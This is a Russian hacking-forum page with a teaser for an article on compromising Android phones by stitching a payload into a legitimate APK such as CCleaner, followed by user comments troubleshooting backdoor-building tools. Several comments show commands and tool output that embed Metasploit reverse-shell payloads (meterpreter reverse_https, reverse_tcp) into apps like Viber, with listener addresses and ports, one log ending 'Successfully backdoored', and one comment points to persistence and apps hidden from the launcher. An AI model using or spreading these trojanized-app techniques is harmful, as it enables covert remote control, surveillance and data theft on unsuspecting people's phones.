Toggle sidebar Toggle sidebar
РАЗБОР Статья

Взлом Android-устройства

Vander
Vander CodebyTeam · 1,4 тыс. сообщений
Подписаться
65,2 тыс.
РАЗБОР

Привет! В этой публикации, я опишу действенный способ взлома телефона под управлением ОС Android. Он основывается на сшивании полезной нагрузки с APK файлом. Для начала скачаем любую программу под Android ( я выбрал, для примера CCleaner) с сайта www.apk4fun.com, попробуем...

Читать разбор

Комментарии

108
#41
#42
ВОт полная версия моих бед
яву только поставил вот.. Не изменилось ничего.
I: Using Apktool 2.2.0
I: Smaling smali folder into classes.dex...
I: Building resources...
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:473)
at brut.androlib.Androlib.buildResources(Androlib.java:407)
at brut.androlib.Androlib.build(Androlib.java:306)
at brut.androlib.Androlib.build(Androlib.java:263)
at brut.apktool.Main.cmdBuild(Main.java:224)
at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:439)
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:459)
... 5 more
Caused by: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.util.OS.exec(OS.java:97)
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:433)
... 6 more
Caused by: java.io.IOException: Cannot run program "/tmp/brut_util_Jar_8800473881750166502.tmp": error=2, Нет такого файла или каталога
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1047)
at brut.util.OS.exec(OS.java:90)
... 7 more
Caused by: java.io.IOException: error=2, Нет такого файла или каталога
at java.lang.UNIXProcess.forkAndExec(Native Method)
at java.lang.UNIXProcess.<init>(UNIXProcess.java:186)
at java.lang.ProcessImpl.start(ProcessImpl.java:130)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1028)
... 8 more
[*] Signing apk...
java.io.FileNotFoundException: ccleaner/dist/ccleaner.apk (Нет такого файла или каталога)
at java.util.zip.ZipFile.open(Native Method)
at java.util.zip.ZipFile.<init>(ZipFile.java:215)
at java.util.zip.ZipFile.<init>(ZipFile.java:145)
at java.util.jar.JarFile.<init>(JarFile.java:154)
at java.util.jar.JarFile.<init>(JarFile.java:133)
at orig.SignApk.main(SignApk.java:488)
[+] Successfully backdoored and saved as ccleaner-final.apk
 
#43
#44
На GitHub нашел еще один скрип для взлома Ве(а)дроид устройств, https://github.com/dana-at-cp/backdoor-apk работает как же как Spade. Только ошибка у меня на этот раз другая :D. При генерации плейлоада не может создать или записать RCA(RSA) ключ.
 
#45
Ну тема поста немного спорная...Я не уверен что любое устройство можно взломать...Статья хорошая,автору спасибо.
От себя хочу заметить что из недостатков готовых тулз для инжекта в приложения на андроид можно выделить один большой недостаток - это отсудствия закрепления в системе(persistence) и держания доступа.На сегодняшний день существует методы сделать закрепления в системе и скрытое приложения которое не отображается в списке приложений.
 
  • Нравится
Реакции: Decode, Vander и Сергей Попов
3
#46
<<-D4rkN0d3_Falc0m->> сказал(а):
Ну тема поста немного спорная...Я не уверен что любое устройство можно взломать...Статья хорошая,автору спасибо.
От себя хочу заметить что из недостатков готовых тулз для инжекта в приложения на андроид можно выделить один большой недостаток - это отсудствия закрепления в системе(persistence) и держания доступа.На сегодняшний день существует методы сделать закрепления в системе и скрытое приложения которое не отображается в списке приложений.
Нажмите, чтобы раскрыть...
Да, немного громко сказано, поправлюсь)))
 
#47
root@kali:~/Рабочий стол# ruby apk-embed-payload.rb viber.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
[*] Generating msfvenom payload..
[*] Signing payload..
[*] Decompiling orignal APK..
Input file (стол/original) was not found or was not readable.
[*] Decompiling payload APK..
Input file (стол/payload) was not found or was not readable.
apk-embed-payload.rb:190:in `initialize': No such file or directory @ rb_sysopen - original/AndroidManifest.xml (Errno::ENOENT)
from apk-embed-payload.rb:190:in `open'
from apk-embed-payload.rb:190:in `<main>'
Оба файла на рабочем столе. Может кто подскажет в чём проблэм.
Заранее спасибо.
 
#48
aircrack сказал(а):
root@kali:~/Рабочий стол# ruby apk-embed-payload.rb viber.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
[*] Generating msfvenom payload..
[*] Signing payload..
[*] Decompiling orignal APK..
Input file (стол/original) was not found or was not readable.
[*] Decompiling payload APK..
Input file (стол/payload) was not found or was not readable.
apk-embed-payload.rb:190:in `initialize': No such file or directory @ rb_sysopen - original/AndroidManifest.xml (Errno::ENOENT)
from apk-embed-payload.rb:190:in `open'
from apk-embed-payload.rb:190:in `<main>'
Оба файла на рабочем столе. Может кто подскажет в чём проблэм.
Заранее спасибо.
Нажмите, чтобы раскрыть...
Видимо скрипт как то кривовато пути прочитал... Попробуй создать папку без пробелов ( к примеру Android_Hack)
Помести туда нужные файлы ( apk-embed-payload.rb и viber.apk)
И попробуй повторить команду в терминале.
Если не исправить проблему ,отпиши,если исправит - тож отпиши)))
 
  • Нравится
Реакции: Сергей Попов
1
#49
<<-D4rkN0d3_Falc0m->> Спасибо. Наверное в этом и была проблема. Перенёс файлы в домашнюю директорию и всё заработало. Оригинальный файл viber весит 31.6 мб а с бекдором у меня получился 31.8мб. Точто такой же размер файла (31.8мб) скачивается с сайта www.apk4fun.com, прикольно, то есть у них уже апэкашки идут с приколами разными? )))
 
  • Нравится
Реакции: VladOk и <~DarkNode~>
2
#50
mkdir: невозможно создать каталог бла бла бла, что то не дает доступ к apk?
Может ли испортить пути русская версия Kali? Грешу на это!
 
#51
[*] Started spade at 17:10:39
[*] Check file /home/Android_Hack/ifont.apk
[+] File /home/Android_Hack/ifont.apk OK
PAYLOADS
[1] android/meterpreter/reverse_http
[2] android/meterpreter/reverse_https
[3] android/meterpreter/reverse_tcp
[4] android/shell/reverse_http
[5] android/shell/reverse_https
[6] android/shell/reverse_tcp
Payload> 3
LHOST> 192.168.0.100
LPORT> 4444
[*] Generating payload...
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8323 bytes
Saved as: temp.apk
[+] Payload created as temp.apk
[*] Decompiling apks...
sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found
[*] Injecting payload...
mkdir: невозможно создать каталог «ifont/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «ifont/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: не удалось выполнить stat для 'temp/smali/com/metasploit/stage/Payload*': Нет такого файла или каталога
[-] [Errno 2] No such file or directory: 'ifont/AndroidManifest.xml'

Как то так((
 
Последнее редактирование модератором:
#52
useralexrc сказал(а):
[*] Decompiling apks...
sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found
[*] Injecting payload...
mkdir: невозможно создать каталог «ifont/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «ifont/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: не удалось выполнить stat для 'temp/smali/com/metasploit/stage/Payload*': Нет такого файла или каталога
[-] [Errno 2] No such file or directory: 'ifont/AndroidManifest.xml'

Как то так((
Нажмите, чтобы раскрыть...
Вот твоя проблема...

sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found

Нужно тебе или скрипт править или поискать по папкам apktool.sh и кинуть в одну директорию со скриптом.
 
#53
<<-D4rkN0d3_Falc0m->> сказал(а):
Вот твоя проблема...

sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found

Нужно тебе или скрипт править или поискать по папкам apktool.sh и кинуть в одну директорию со скриптом.
Нажмите, чтобы раскрыть...
Это странно потому что в папке скрипт присутствует, значит надо править?
 
#54
Сделай скриншот команды:
Код: 
ls -lah /home/Android_Hack/
 
#55
drwxrwxrwx 2 root root 4,0K ноя 14 16:51 .
drwxrwxrwx 4 root root 4,0K ноя 14 17:15 ..
-rwxrwxrwx 1 root root 7,8M ноя 14 15:39 ifont.apk
 
#56
useralexrc сказал(а):
drwxrwxrwx 2 root root 4,0K ноя 14 16:51 .
drwxrwxrwx 4 root root 4,0K ноя 14 17:15 ..
-rwxrwxrwx 1 root root 7,8M ноя 14 15:39 ifont.apk
Нажмите, чтобы раскрыть...
Эмм...
А полностью команда которою запускаешь как выглядить?
И содержания папки где лежит сам скрипт?
 
  • Нравится
Реакции: useralexrc
1
#57
#58
Снимок экрана от 2016-11-14 20-06-11.png
<<-D4rkN0d3_Falc0m->> сказал(а):
Эмм...
А полностью команда которою запускаешь как выглядить?
И содержания папки где лежит сам скрипт?
Нажмите, чтобы раскрыть...
 
  • Нравится
Реакции: <~DarkNode~>
1
#59
/home/spade/spade.py /home/Android_Hack/ifont.apk
 
#60
  • Нравится
Реакции: Сергей Попов, Vander и useralexrc
3
Для ответа нужно войти/зарегистрироваться
Продолжить чтение
Следующий разбор Песочница, в которой прятался враг

Ещё по теме

4
Михаил Гудилин СтатьяПентест Android-устройств с помощью Metasploit в 2026 году Михаил Гудилин·01.09.2026·Мобильная безопасность 0 2 тыс. 01.09.2026 samhainhf Android. Чего стоят рут-права в наше время? samhainhf·14.01.2026·Hardware Hacking / Аппаратный хакинг 0 4 тыс. 14.01.2026 samhainhf Kali NetHunter. Установка и базовая настройка samhainhf·15.01.2026·Безопасность веб-приложений 1 9 тыс. 27.04.2026 delifer СтатьяPrivilege escalation в GNU/Linux: Полное руководство delifer·25.05.2026·Этичный хакинг и тестирование на проникновение 0 2 тыс. 25.05.2026
Верх Низ
Назад